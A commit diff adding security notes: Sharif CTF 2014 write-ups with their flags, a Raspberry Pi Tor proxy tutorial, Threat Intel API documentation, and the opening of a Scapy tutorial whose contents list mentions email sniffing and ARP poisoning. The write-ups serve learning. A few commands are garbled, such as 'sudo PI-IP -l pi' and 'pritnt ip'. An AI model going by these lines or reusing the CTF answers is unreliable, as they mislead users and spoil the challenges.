Add old writeups

CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md

@@ -0,0 +1,159 @@
+# The Sharif University CTF 2014
+
+
+## Avatar: Steganography
+
+The challenge starts with:
+> A terrorist has changed his picture in a social network. What is the hidden message?
+
+And the following image:
+
+
+![cyber](http://i.imgur.com/6NIu64us.jpg)
+
+
+
+For this problem, I use [OutGuess], which can be installed as:
+
+```sh
+$ tar -zxvf outguess-0.2.tar.gz
+$ cd outguess
+$ ./configure && make
+```
+Running it will give us the flag:
+```sh
+$ ./outguess -r lamb.jpg pass.txt
+Reading ../lamb.jpg....
+Extracting usable bits:   28734 bits
+Steg retrieve: seed: 94, len: 41
+$ cat pass.txt
+We should blow up the bridge at midnight
+```
+
+__________________________
+
+## What is this: Steganography
+
+This challenge has a very short text:
+
+> Find the flag.
+
+Together with two pictures:
+
+![cyber](http://i.imgur.com/sbSwBju.jpg)
+![cyber](http://i.imgur.com/mpcIKWt.jpg)
+
+After the usual inspection (tail, file, diff, compare), I applied my knowledge of a former astrophysicist to inspect what would happen if I added or subtracted the picture. I wrote the following script:
+
+```py
+import sys
+
+from scipy.misc import imread, imsave
+
+def compare_images(img1, img2):
+    diff = img1 + img2
+    imsave('sum.png', diff)
+    diff = img1 - img2
+    imsave('diff.png', diff)
+
+def main():
+    file1, file2 = sys.argv[1:1+2]
+    img1 = imread(file1).astype(float)
+    img2 = imread(file2).astype(float)
+    compare_images(img1, img2)
+
+```
+
+Running it, give us the flag!
+
+![cyber](http://i.imgur.com/mvj8OJl.png)
+
+--------------------
+## Guess the number: Reverse Engineering
+
+This problem starts with another not very informative text:
+> Guess the number and find the flag.
+
+Then it gives us a *java class* file. It was clear that we needed to decompile it. I'm using
+[jad]for this task:
+
+```sh
+$ jad guess.class
+```
+
+Now, opening this file in a text editor, we can see how to generate the flag:
+```java
+
+
+
+```java
+// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
+// Jad home page: http://www.geocities.com/kpdus/jad.html
+// Decompiler options: packimports(3)
+// Source File Name:   guess.java
+
+(...)
+String str_one = "4b64ca12ace755516c178f72d05d7061";
+ String str_two = "ecd44646cfe5994ebeb35bf922e25dba";
+ String answer = XOR(str_one, str_two);
+System.out.println((new StringBuilder("your flag is: ")).append(answer).toString());
+```
+Running the modified version gives us:
+```java
+$ javac -g guess.java
+$ java guess
+your flag is: a7b08c546302cc1fd2a4d48bf2bf2ddb
+```
+
+_________________
+## Sudoku image encryption - cryptography
+
+This challenge starts with the following text:
+> Row Major Order
+
+And it gives us two pictures: a map and a sudoku.
+
+![cyber](http://i.imgur.com/U9Zq4wp.png)
+
+We solve the sudoku and write the solution in a script to reorder the blocks:
+```python
+from PIL import Image
+
+
+# solved sudoku
+sudoku = '''
+964127538
+712385694
+385496712
+491578263
+238614975
+576239841
+627843159
+153962487
+849751326
+'''
+s = sudoku.replace('\n', '')
+
+image = Image.open('image.png').convert('RGB')
+out = Image.new('RGB', image.size)
+
+for j in range(9):
+    for i in range(9):
+      img_cell = image.crop((i * 50, j * 50, i * 50 + 50, j * 50 + 50))
+      c = (int(s[j * 9 + i]) - 1) * 50
+      out.paste(img_cell, (c, j * 50))
+
+out.save('out_image.png')
+```
+
+This gives us our flag:
+
+![cyber](http://i.imgur.com/sA7JPrl.png)
+
+
+** Hack all the things! **
+
+
+[OutGuess]: http://www.outguess.org/download.php
+[jad]:  http://varaneckas.com/jad/
+

Network_and_802.11/TOR_proxy_in_RaspPi.md

@@ -0,0 +1,325 @@
+# A Tor Proxy in a Raspberry Pi
+
+
+In this tutorial, I walk through all the steps to set up a Tor proxy in a Raspberry Pi (Model B). This work was based on some of the tutorials from Adafruit.
+
+# Setting Up a Raspberry Pi
+
+## Installing an Operating System in the SD card
+
+[You can either install NOOBS and then choose your OS](http://www.raspberrypi.org/help/noobs-setup).
+
+[Or you can download the Fedora ARM Installer and the OS image you prefer](http://fedoraproject.org/wiki/FedoraARMInstaller).
+
+## Network Setup
+
+The easiest way is to connect your Pi in the network is through an Ethernet interface. Connecting the cable should be allowed the connection directly as long as your network router enable DHCP.
+
+Also, you can also set up wireless connect, which requires your router to be broadcasting the SSID. At Raspbian, there is a WiFi configuration icon. Type wlan0 adapter and scan. After connecting in your network you will also be able to see the IP of your Pi.
+
+## Input/Output Setup
+
+The easiest way to connect to your Pi is by an HDMI cable to a monitor and a USB keyboard. Another option is through a console cable or an SSH connection.
+
+## Connection through a Console Cable (3.3V logic levels)
+
+The connections are to the outside pin connections of the GPIO header:
+
+```
+The red lead should be connected to 5V.
+The black lead to GND,
+The white lead to TXD.
+The green lead to RXD.
+If the serial lead (red) is connected, do not attach the Pi's USB power adapter. 
+```
+
+In Linux you can use screen:
+```
+$ sudo apt-get install screen
+$ sudo screen /dev/ttyUSB0 115200
+```
+
+In Windows, you can use a terminal emulation such as Putty and the drivers from this (link)[http://www.prolific.com.tw/US/ShowProduct.aspx?p_id=225&pcid=41]. Verify the number of the COM serial port in the Device manager and connect with speed 115200.
+
+## SSH Connection
+
+You need to enable SSH on the Pi:
+
+```
+$ sudo raspi-config
+```
+
+Find Pi's IP by:
+```
+$ sudo ifconfig
+```
+
+From your Linux PC (using "pi" as the user):
+```
+$ sudo PI-IP -l pi
+```
+
+You can (should) set RSA keys. In a terminal session on the Linux client enter:
+```
+$ mkdir ~/.ssh
+$ chmod 700 ~/.ssh
+$ ssh-keygen -t rsa
+```
+
+Now copy the public key over to the Pi by typing in the client:
+```
+$ ssh-copy-id <userid>@<hostname or ip address>
+```
+
+## Setting up a Wi-Fi Access Point
+
+You need an ethernet cable and a WiFi adapter. First, check if you see the wlan0 (the WiFi) module:
+```
+$ ifconfig -a 
+```
+
+### DHCP Server Configuration
+
+Install the software that will act as the hostap (host access point):
+```
+$ sudo apt-get install hostapd isc-dhcp-server
+```
+
+If the Pi cannot get the apt-get repositories:
+```
+$ sudo apt-get update 
+```
+
+Edit ```/etc/networks/interfaces```:
+```
+auto lo
+
+iface lo inet loopback
+iface eth0 inet dhcp
+
+allow-hotplug wlan0
+
+iface wlan0 inet static
+ address 192.168.42.1
+ netmask 255.255.255.0
+```
+
+Then edit the DHCP server configuration file, ```/etc/dhcp/dhcpd.conf```:
+```
+subnet 192.168.42.0 netmask 255.255.255.0 {
+range 192.168.42.10 192.168.42.50;
+option broadcast-address 192.168.42.255;
+option routers 192.168.42.1;
+default-lease-time 600;
+max-lease-time 7200;
+option domain-name "local";
+option domain-name-servers 8.8.8.8, 8.8.4.4;
+}
+```
+
+Now, add the bellow line to ```/etc/default/isc-dhcp-server```:
+```
+INTERFACES="wlan0" 
+```
+
+Restart the network:
+```
+$ sudo /etc/init.d/networking restart
+```
+
+### IP Forwarding
+
+Enable IP forwarding and setting up NAT to allow multiple clients to connect to the WiFi and have all the data 'tunneled' through the single Ethernet IP:
+```
+$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward
+$ sudo nano /etc/sysctl.conf
+```
+Uncomment the next line to enable packet forwarding for IPv4:
+```
+net.ipv4.ip_forward=1
+```
+And update:
+```
+sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
+```
+
+### Firewall Configuration
+
+We insert an iptables rule to allow NAT (network address translation):
+```
+$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+$ iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
+$ iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
+```
+
+To make the above true in every reboot:
+```
+$ sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
+```
+
+For additional security (it blocks access from RFC 1918 subnets on your internet (eth0) interface as well as ICMP (ping) packets and ssh connections.):
+```
+$ sudo iptables -A INPUT -s 192.168.0.0/24 -i eth0 -j DROP
+$ sudo iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j DROP
+$ sudo iptables -A INPUT -s 172.16.0.0/12 -i eth0 -j DROP
+$ sudo iptables -A INPUT -s 224.0.0.0/4 -i eth0 -j DROP
+$ sudo iptables -A INPUT -s 240.0.0.0/5 -i eth0 -j DROP
+$ sudo iptables -A INPUT -s 127.0.0.0/8 -i eth0 -j DROP
+$ sudo iptables -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j DROP
+$ sudo iptables -A INPUT -i eth0 -p icmp -m icmp --icmp-type 8 -j DROP
+$ sudo iptables-save > /etc/iptables.up.rules
+```
+
+If you want to see how many packets your firewall is blocking:
+```
+$ iptables -L -n -v
+```
+If your eth0 still shows a private address, it probably didn't renew when you moved it to your modem. Fix this by running:
+```
+$ sudo ifdown eth0 && sudo ifup eth0
+```
+
+## Access Point Configuration
+
+Configure Access Point with hostpad, editing ```/etc/hostapd/hostapd.conf```:
+```
+interface=wlan0
+driver=rtl871xdrv
+ssid=Pi_AP
+hw_mode=g
+channel=6
+macaddr_acl=0
+auth_algs=1
+ignore_broadcast_ssid=0
+wpa=2
+wpa_passphrase=Raspberry
+wpa_key_mgmt=WPA-PSK
+wpa_pairwise=TKIP
+rsn_pairwise=CCMP
+```
+
+Now we will tell the Pi where to find this configuration file in /etc/default/hostapd:
+```
+DAEMON_CONF="/etc/hostapd/hostapd.conf"
+```
+
+And start the access point by running hostpad:
+```
+$ hostapd -d /etc/hostapd/hostapd.conf
+```
+
+To start automatically, add the command to ```/etc/rc.local```:
+```
+$ hostapd -B /etc/hostapd/hostapd.conf
+```
+
+### Logs and Status
+
+To see the system log data, run in the Pi:
+```
+$ tail -f /var/log/syslog
+```
+
+You can always check the status of the host AP server and the DHCP server with:
+```
+$ sudo service hostapd status
+$ sudo service isc-dhcp-server status
+```
+
+### Setting up a Daemon
+
+Now that we know it works, we can set it up as a 'daemon' (a program that will start when the Pi boots):
+```
+$ sudo service hostapd start 
+$ sudo service isc-dhcp-server start
+```
+
+To start the daemon services. Verify that they both start successfully (no 'failure' or 'errors')
+```
+$ sudo update-rc.d hostapd enable 
+$ sudo update-rc.d isc-dhcp-server enable
+```
+
+### Removing WPA-Supplicant
+
+Depending on your distribution, you may need to remove WPASupplicant. Do so by running this command:
+```
+sudo mv /usr/share/dbus-1/system-services/fi.epitest.hostap.WPASupplicant.service ~/
+```
+
+## Setting up the Tor Proxy
+
+You now have a wirelesses access point in your Pi. To make it a Tor proxy, first install Tor:
+```
+$ sudo apt-get install tor
+```
+Then edit the Tor config file at ```/etc/tor/torrc```:
+
+```
+Log notice file /var/log/tor/notices.log
+VirtualAddrNetwork 10.192.0.0/10
+AutomapHostsSuffixes .onion,.exit
+AutomapHostsOnResolve 1
+TransPort 9040
+TransListenAddress 192.168.42.1
+DNSPort 53
+DNSListenAddress 192.168.42.1
+```
+
+Change the IP routing tables so that connections via the WiFi interface (wlan0) will be routed through the Tor software. To flush the old rules from the IP NAT table do:
+```
+$ sudo iptables -F
+$ sudo iptables -t nat -F
+```
+
+Add the iptables, to be able to ssh:
+```
+$ sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j REDIRECT --to-ports 22 
+```
+
+To route all DNS (UDP port 53) from interface wlan0 to internal port 53 (DNSPort in our torrc):
+```
+$ sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53
+```
+
+To route all TCP traffic from interface wlan0 to port 9040 (TransPort in our torrc):
+```
+$ sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040 
+```
+
+Check that the iptables is right with:
+```
+$ sudo iptables -t nat -L
+```
+
+If everything is good, we'll save it to our old NAT save file:
+```
+$ sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
+```
+
+Next we'll create our log file (handy for debugging) with:
+```
+$ sudo touch /var/log/tor/notices.log
+$ sudo chown debian-tor /var/log/tor/notices.log
+$ sudo chmod 644 /var/log/tor/notices.log
+```
+
+Check it with:
+```
+$ ls -l /var/log/tor
+```
+
+Finally, you can start the Tor service manually:
+```
+$ sudo service tor start
+```
+
+And make it start on boot:
+```
+$ sudo update-rc.d tor enable
+```
+
+That's it! Browser safe!
+
+---
+Enjoy! This article was originally posted [here](https://coderwall.com/p/m3excg/a-tor-proxy-in-a-raspberry-pi).

Network_and_802.11/incident_response.md

@@ -0,0 +1,740 @@
+# Introducing Threat Intel
+
+
+[Threat Intel](https://github.com/Yelp/threat_intel) is a set of Threat Intelligence APIs that can be used by security developers and analysts for incident response. Additionally, it contains wrappers for:
+
+* OpenDNS Investigate API
+* VirusTotal API v2.0
+* ShadowServer API
+
+----
+
+### OpenDNS Investigate API
+
+[OpenDNS Investigate](https://investigate.opendns.com/) provides an API that
+allows querying for:
+
+ * Domain categorization
+ * Security information about a domain
+ * Co-occurrences for a domain
+ * Related domains for a domain
+ * Domains related to an IP
+ * Domain tagging dates for a domain
+ * DNS RR history for a domain
+ * WHOIS information
+ - WHOIS information for an email
+ - WHOIS information for a nameserver
+ - Historical WHOIS information for a domain
+ * Latest malicious domains for an IP
+
+To use the Investigate API wrapper import `InvestigateApi` class from `threat_intel.opendns` module:
+
+```python
+from threat_intel.opendns import InvestigateApi
+```
+
+To initialize the API wrapper, you need the API key:
+
+```python
+investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>")
+```
+
+You can also specify a file name where the API responses will be cached in a JSON file,
+to save you the bandwidth for the multiple calls about the same domains or IPs:
+
+```python
+investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>", cache_file_name="/tmp/cache.opendns.json")
+```
+
+#### Domain categorization
+
+Calls `domains/categorization/?showLabels` Investigate API endpoint.
+It takes a list (or any other Python enumerable) of domains and returns
+the categories associated with these domains by OpenDNS along with a [-1, 0, 1] score, where -1 is a malicious status.
+
+```python
+domains = ["google.com", "baidu.com", "bibikun.ru"]
+investigate.categorization(domains)
+```
+
+will result in:
+
+```
+{
+ "baidu.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []},
+ "google.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []},
+ "bibikun.ru": {"status": -1, "content_categories": [], "security_categories": ["Malware"]}
+}
+```
+
+#### Security information about a domain
+
+Calls `security/name/` Investigate API endpoint.
+It takes any Python enumerable with domains, e.g., list, and returns several security parameters
+associated with each domain.
+
+```python
+domains = ["google.com", "baidu.com", "bibikun.ru"]
+investigate.security(domains)
+```
+
+will result in:
+
+```
+{
+ "baidu.com": {
+ "found": true,
+ "handlings": {
+ "domaintagging": 0.00032008666962131285,
+ "blocked": 0.00018876906157154347,
+ "whitelisted": 0.00019697641207465407,
+ "expired": 2.462205150933176e-05,
+ "normal": 0.9992695458052232
+ },
+ "dga_score": 0,
+ "rip_score": 0,
+
+ ..
+
+ }
+}
+```
+
+#### Co-occurrences for a domain
+
+Calls `recommendations/name/` Investigate API endpoint.
+Use this method to find out a list of co-occurrence domains (domains that are being accessed by the same users within a small window of time) to the one given in a list, or any other Python enumerable.
+
+```python
+domains = ["google.com", "baidu.com", "bibikun.ru"]
+investigate.cooccurrences(domains)
+```
+
+will result in:
+
+```
+{
+ "baidu.com": {
+ "found": true,
+ "pfs2": [
+ ["www.howtoforge.de", 0.14108563836506008],
+ }
+
+ ..
+
+}
+```
+
+#### Related domains for a domain
+
+Calls `links/name/` Investigate API endpoint.
+Use this method to find out a list of related domains (domains that have been frequently seen requested around a time window of 60 seconds, but that are not associated with the given domain) to the one given in a list, or any other Python enumerable.
+
+```python
+domains = ["google.com", "baidu.com", "bibikun.ru"]
+investigate.related_domains(domains)
+```
+
+will result in:
+
+```
+{
+ "tb1": [
+ ["t.co", 11.0],
+ ]
+
+ ..
+
+}
+```
+
+#### Domain tagging dates for a domain
+
+Calls `domains/name/` Investigate API endpoint.
+
+Use this method to get the date range when the domain being queried was a part of the OpenDNS block list and how long a domain has been in this list
+
+```python
+domains = ["google.com", "baidu.com", "bibikun.ru"]
+investigate.domain_tag(domains)
+```
+
+will result in:
+
+```
+{
+ 'category': u'Malware',
+ 'url': None,
+ 'period': {
+ 'begin': u'2013-09-16',
+ 'end': u'Current'
+ }
+
+ ..
+
+}
+```
+
+#### DNS RR history for a Domain
+
+Calls `dnsdb/name/a/` Investigate API endpoint.
+Use this method to find out related domains to domains given in a list, or any other Python enumerable.
+
+```python
+domains = ["google.com", "baidu.com", "bibikun.ru"]
+investigate.dns_rr(domains)
+```
+
+will result in:
+
+```
+{
+ 'features': {
+ 'geo_distance_mean': 0.0,
+ 'locations': [
+ {
+ 'lat': 59.89440155029297,
+ 'lon': 30.26420021057129
+ }
+ ],
+ 'rips': 1,
+ 'is_subdomain': False,
+ 'ttls_mean': 86400.0,
+ 'non_routable': False,
+ }
+
+ ..
+
+}
+```
+
+#### DNS RR history for an IP
+
+Calls `dnsdb/ip/a/` Investigate API endpoint.
+Use this method to find out related domains to the IP addresses given in a list, or any other Python enumerable.
+
+```python
+ips = ['8.8.8.8']
+investigate.rr_history(ips)
+```
+
+will result in:
+
+```
+{
+ "8.8.8.8": {
+ "rrs": [
+ {
+ "name": "8.8.8.8",
+ "type": "A",
+ "class": "IN",
+ "rr": "000189.com.",
+ "ttl": 3600
+ },
+ {
+ "name": "8.8.8.8",
+ "type": "A",
+ "class": "IN",
+ "rr": "008.no-ip.net.",
+ "ttl": 60
+ },
+ }
+
+ ..
+
+}
+```
+
+#### WHOIS information for a domain
+
+##### WHOIS information for an email
+
+Calls `whois/emails/{email}` Investigate API endpoint.
+
+Use this method to see WHOIS information for the email address. (For now, the OpenDNS API will only return at most 500 results)
+
+```python
+emails = ["dns-admin@google.com"]
+investigate.whois_emails(emails)
+```
+
+will result in:
+
+```
+{
+ "dns-admin@google.com": {
+ "totalResults": 500,
+ "moreDataAvailable": true,
+ "limit": 500,
+ "domains": [
+ {
+ "domain": "0emm.com",
+ "current": true
+ },
+ ..
+ ]
+ }
+}
+```
+
+##### WHOIS information for a nameserver
+
+Calls `whois/nameservers/{nameserver}` Investigate API endpoint.
+
+Use this method to see WHOIS information for the nameserver. (For now, the OpenDNS API will only return at most 500 results)
+
+```python
+nameservers = ["ns2.google.com"]
+investigate.whois_nameservers(nameservers)
+```
+
+will result in:
+
+```
+{
+ "ns2.google.com": {
+ "totalResults": 500,
+ "moreDataAvailable": true,
+ "limit": 500,
+ "domains": [
+ {
+ "domain": "46645.biz",
+ "current": true
+ },
+ ..
+ ]
+ }
+}
+```
+
+##### WHOIS information for a domain
+
+Calls `whois/{domain}` Investigate API endpoint.
+
+Use this method to see WHOIS information for the domain.
+
+```python
+domains = ["google.com"]
+investigate.whois_domains(domains)
+```
+
+will result in:
+
+```
+{
+ "administrativeContactFax": null,
+ "whoisServers": null,
+ "addresses": [
+ "1600 amphitheatre parkway",
+ "please contact contact-admin@google.com, 1600 amphitheatre parkway",
+ "2400 e. bayshore pkwy"
+ ],
+ ..
+}
+```
+
+##### Historical WHOIS information for a domain
+
+Calls `whois/{domain}/history` Investigate API endpoint.
+
+Use this method to see historical WHOIS information for the domain.
+
+```python
+domains = ["5esb.biz"]
+investigate.whois_domains_history(domains)
+```
+
+will result in:
+
+```
+{
+ '5esb.biz':[
+ {
+ u'registrantFaxExt':u'',
+ u'administrativeContactPostalCode':u'656448',
+ u'zoneContactCity':u'',
+ u'addresses':[
+ u'nan qu hua yuan xiao he'
+ ],
+ ..
+ },
+ ..
+ ]
+}
+```
+
+#### Latest malicious domains for an IP
+
+Calls `ips/{ip}/latest_domains` Investigate API endpoint.
+
+Use this method to see whether the IP address has any malicious domains associated with it.
+
+```python
+ips = ["8.8.8.8"]
+investigate.latest_malicious(ips)
+```
+
+will result in:
+
+```
+{
+ [
+ '7ltd.biz',
+ 'co0s.ru',
+ 't0link.in',
+ ]
+
+ ..
+}
+```
+
+----
+
+### VirusTotal API
+
+[VirusTotal](https://www.virustotal.com/) provides an
+[API](https://www.virustotal.com/en/documentation/public-api/) that makes it
+possible to query for the reports about:
+
+ * Domains
+ * URLs
+ * IPs
+ * File hashes
+ * File Upload
+ * Live Feed
+ * Advanced search
+
+To use the VirusTotal API wrapper import `VirusTotalApi` class from `threat_intel.virustotal` module:
+
+```python
+from threat_intel.virustotal import VirusTotalApi
+```
+
+To initialize the API wrapper, you need the API key:
+
+```python
+vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>")
+```
+
+VirusTotal API calls allow squeezing a list of file hashes or URLs into a single HTTP call.
+Depending on the API version you are using (public or private) you may need to tune the maximum number
+of the resources (file hashes or URLs) that could be passed in a single API call.
+You can do it with the `resources_per_req` parameter:
+
+```python
+vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", resources_per_req=4)
+```
+
+When using the public API your standard request rate allows you too put maximum 4 resources per request.
+With private API you are able to put up to 25 resources per call. That is also the default value if you
+don't pass the `resources_per_req` parameter.
+
+Of course, when calling the API wrapper methods in the `VirusTotalApi` class, you can pass as many resources
+as you want and the wrapper will take care of producing as many API calls as necessary to satisfy the request rate.
+
+Similarly to OpenDNS API wrapper, you can also specify the file name where the responses will be cached:
+
+```python
+vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", cache_file_name="/tmp/cache.virustotal.json")
+```
+
+#### Domain report endpoint
+
+Calls `domain/report` VirusTotal API endpoint.
+Pass a list or any other Python enumerable containing the domains:
+
+```python
+domains = ["google.com", "baidu.com", "bibikun.ru"]
+vt.get_domain_reports(domains)
+```
+
+will result in:
+
+```
+{
+ "baidu.com": {
+ "undetected_referrer_samples": [
+ {
+ "positives": 0,
+ "total": 56,
+ "sha256": "e3c1aea1352362e4b5c008e16b03810192d12a4f1cc71245f5a75e796c719c69"
+ }
+ ],
+
+ ..
+
+ }
+}
+```
+
+
+#### URL report endpoint
+
+Calls `url/report` VirusTotal API endpoint.
+Pass a list or any other Python enumerable containing the URL addresses:
+
+```python
+urls = ["http://www.google.com", "http://www.yelp.com"]
+vt.get_url_reports(urls)
+```
+
+will result in:
+
+```
+{
+ "http://www.google.com": {
+ "permalink": "https://www.virustotal.com/url/dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf/analysis/1423344006/",
+ "resource": "http://www.google.com",
+ "url": "http://www.google.com/",
+ "response_code": 1,
+ "scan_date": "2015-02-07 21:20:06",
+ "scan_id": "dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf-1423344006",
+ "verbose_msg": "Scan finished, scan information embedded in this object",
+ "filescan_id": null,
+ "positives": 0,
+ "total": 62,
+ "scans": {
+ "CLEAN MX": {
+ "detected": false,
+ "result": "clean site"
+ },
+ }
+ ..
+
+}
+```
+
+#### URL scan endpoint
+
+Calls 'url/scan' VirusTotal API endpoint.
+Submit a url or any other Python enumerable containing the URL addresses:
+
+```python
+urls = ["http://www.google.com", "http://www.yelp.com"]
+vt.post_url_report(urls)
+```
+
+#### Hash report endpoint
+
+Calls `file/report` VirusTotal API endpoint.
+You can request the file reports passing a list of hashes (md5, sha1 or sha2):
+
+```python
+file_hashes = [
+ "99017f6eebbac24f351415dd410d522d",
+ "88817f6eebbac24f351415dd410d522d"
+]
+
+vt.get_file_reports(file_hashes)
+```
+
+will result in:
+
+```
+{
+ "88817f6eebbac24f351415dd410d522d": {
+ "response_code": 0,
+ "resource": "88817f6eebbac24f351415dd410d522d",
+ "verbose_msg": "The requested resource is not among the finished, queued or pending scans"
+ },
+ "99017f6eebbac24f351415dd410d522d": {
+ "scan_id": "52d3df0ed60c46f336c131bf2ca454f73bafdc4b04dfa2aea80746f5ba9e6d1c-1423261860",
+ "sha1": "4d1740485713a2ab3a4f5822a01f645fe8387f92",
+ }
+
+ ..
+
+}
+```
+
+#### Hash rescan endpoint
+
+Calls `file/rescan` VirusTotal API endpoint. Use to rescan a previously submitted file.
+You can request the file reports passing a list of hashes (md5, sha1 or sha2):
+
+#### Hash behavior endpoint
+
+Calls `file/behaviour` VirusTotal API endpoint. Use to get a report about the behavior of the file when executed in a sandboxed environment (Cuckoo sandbox).
+You can request the file reports passing a list of hashes (md5, sha1 or sha2):
+
+```python
+file_hashes = [
+ "99017f6eebbac24f351415dd410d522d",
+ "88817f6eebbac24f351415dd410d522d"
+]
+
+vt.get_file_behaviour(file_hashes)
+```
+
+#### Hash network-traffic endpoint
+
+Calls `file/network-traffic` VirusTotal API endpoint. Use to get the dump of the network traffic generated by the file when executed.
+You can request the file reports passing a list of hashes (md5, sha1 or sha2):
+
+```python
+file_hashes = [
+ "99017f6eebbac24f351415dd410d522d",
+ "88817f6eebbac24f351415dd410d522d"
+]
+
+vt.get_file_network_traffic(file_hashes)
+```
+
+#### Hash download endpoint
+
+Calls `file/download` VirusTotal API endpoint. Use to download a file by its hash.
+You can request the file reports passing a list of hashes (md5, sha1 or sha2):
+
+```python
+file_hashes = [
+ "99017f6eebbac24f351415dd410d522d",
+ "88817f6eebbac24f351415dd410d522d"
+]
+
+vt.get_file_download(file_hashes)
+```
+
+#### IP reports endpoint
+
+Calls `ip-address/report` VirusTotal API endpoint.
+Pass a list or any other Python enumerable containing the IP addresses:
+
+```python
+ips = ['90.156.201.27', '198.51.132.80']
+vt.get_ip_reports(ips)
+```
+
+will result in:
+
+```
+{
+ "90.156.201.27": {
+ "asn": "25532",
+ "country": "RU",
+ "response_code": 1,
+ "as_owner": ".masterhost autonomous system",
+ "verbose_msg": "IP address found in dataset",
+ "resolutions": [
+ {
+ "last_resolved": "2013-04-01 00:00:00",
+ "hostname": "027.ru"
+ },
+ {
+ "last_resolved": "2015-01-20 00:00:00",
+ "hostname": "600volt.ru"
+ },
+
+ ..
+
+ ],
+ "detected_urls": [
+ {
+ "url": "http://shop.albione.ru/",
+ "positives": 2,
+ "total": 52,
+ "scan_date": "2014-04-06 11:18:17"
+ },
+ {
+ "url": "http://www.orlov.ru/",
+ "positives": 3,
+ "total": 52,
+ "scan_date": "2014-03-05 09:13:31"
+ }
+ ],
+ },
+
+ "198.51.132.80": {
+
+ ..
+
+ }
+}
+```
+
+#### URL live feed endpoint
+
+Calls `url/distribution` VirusTotal API endpoint. Use to get a live feed with the latest URLs submitted to VirusTotal.
+
+```python
+vt.get_url_distribution()
+```
+
+#### Hash live feed endpoint
+
+Calls `file/distribution` VirusTotal API endpoint. Use to get a live feed with the latest Hashes submitted to VirusTotal.
+
+```python
+vt.get_file_distribution()
+```
+
+#### Hash search endpoint
+
+Calls `file/search` VirusTotal API endpoint. Use to search for samples that match some binary/metadata/detection criteria.
+
+```python
+vt.get_file_search()
+```
+
+#### File date endpoint
+
+Calls `file/clusters` VirusTotal API endpoint. Use to list similarity clusters for a given time frame.
+
+```python
+vt.get_file_clusters()
+```
+
+---
+
+### ShadowServer API
+
+[ShadowServer](http://shadowserver.org/) provides an [API](http://bin-test.shadowserver.org/) that allows to test
+the hashes against a list of known software applications.
+
+To use the ShadowServer API wrapper import `ShadowServerApi` class from `threat_intel.shadowserver` module:
+
+```python
+from threat_intel.shadowserver import ShadowServerApi
+```
+
+To use the API wrapper simply call the `ShadowServerApi` initializer:
+
+```python
+ss = ShadowServerApi()
+```
+
+You can also specify the file name where the API responses will be cached:
+
+```python
+ss = ShadowServerApi(cache_file_name="/tmp/cache.shadowserver.json")
+```
+
+To check whether the hashes are on the ShadowServer list of known hashes,
+call `get_bin_test` method and pass enumerable with the hashes you want to test:
+
+```python
+file_hashes = [
+ "99017f6eebbac24f351415dd410d522d",
+ "88817f6eebbac24f351415dd410d522d"
+]
+
+ss.get_bin_test(file_hashes)
+
+```
+
+---
+
+## Installation
+
+### Install with `pip`
+
+```shell
+$ pip install threat_intel
+```
+
+### Testing
+Go to town with `make`:
+
+```shell
+$ sudo pip install tox
+$ make test
+```

Network_and_802.11/packet_scripting.md

@@ -0,0 +1,775 @@
+# Python's Scapy Module & Packet Scripting
+
+This is a review about Python's [Scapy](http://www.secdev.org/projects/scapy/), which is a very powerful **packet manipulation** resource.
+
+**Scapy**  is able to forge and decode packets of several protocols, send and capture them, match requests and replies, and much more. It can be used to handle most network tasks such as scanning, tracerouting, probing, attacks, network discovery, to name a few.
+
+
+Before we start, make sure you have Scapy in your machine:
+
+```sh
+$ pip install scapy
+```
+
+You can test the installation firing up Scapy iteratively. For example, these are some useful functions:
+```sh
+$ scapy
+Welcome to Scapy (2.2.0)
+>>> ls()    ---> list protocols/layers
+>>> lsc()   ---> list commands
+>>> conf    ---> Display configurations
+>>> help(sniff)     --> Help for a specific command
+```
+
+This post is divided as the following:
+
+* [Scapy 101 (including sniffing, scanning, fuzzing,...)](#intro),
+* [Stealing Plain Text Email Data](#email),
+* [ARP Poisoning a Machine](#arp), and
+* [Processing PCAP Files](#pcap).
+
+
+-----------------------------------------------
+
+#<a name="intro"></a> Scapy 101
+
+## A Simple Packet and its Headers
+
+The basic unit in network communication is the *packet*.  So let's create one!
+
+
+Scapy builds packets by the *layers* and then by the *fields* in each layer. Each layer is nested inside the parent layer, represented by the **<** and **>** brackets.
+
+Let's start by specifying the packet's source IP and then its destination IP. This type of information goes in the **IP header**, which is a *layer 3 protocol* in the [0SI model](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html):
+
+```python
+>>> ip = IP(src="192.168.1.114")
+>>> ip.dst="192.168.1.25"
+>>> pritnt ip
+<IP  src=192.168.1.114 dst=192.168.1.25 |>
+```
+
+Now let's add  a *layer 4 protocol*, such as  **TCP** or **UDP**. To attach this header to the previous, we use the the operator **/** (which is used as a composition operator between layers):
+
+```python
+>>> ip/TCP()
+<IP  frag=0 proto=tcp src=192.168.0.1 dst=192.168.0.2 |<TCP  |>>
+>>> tcp=TCP(sport=1025, dport=80)
+>>> (tcp/ip).show()
+###[ TCP ]###
+  sport= 1025
+  dport= www
+  seq= 0
+  ack= 0
+  dataofs= None
+  reserved= 0
+  flags= S
+  window= 8192
+  chksum= None
+  urgptr= 0
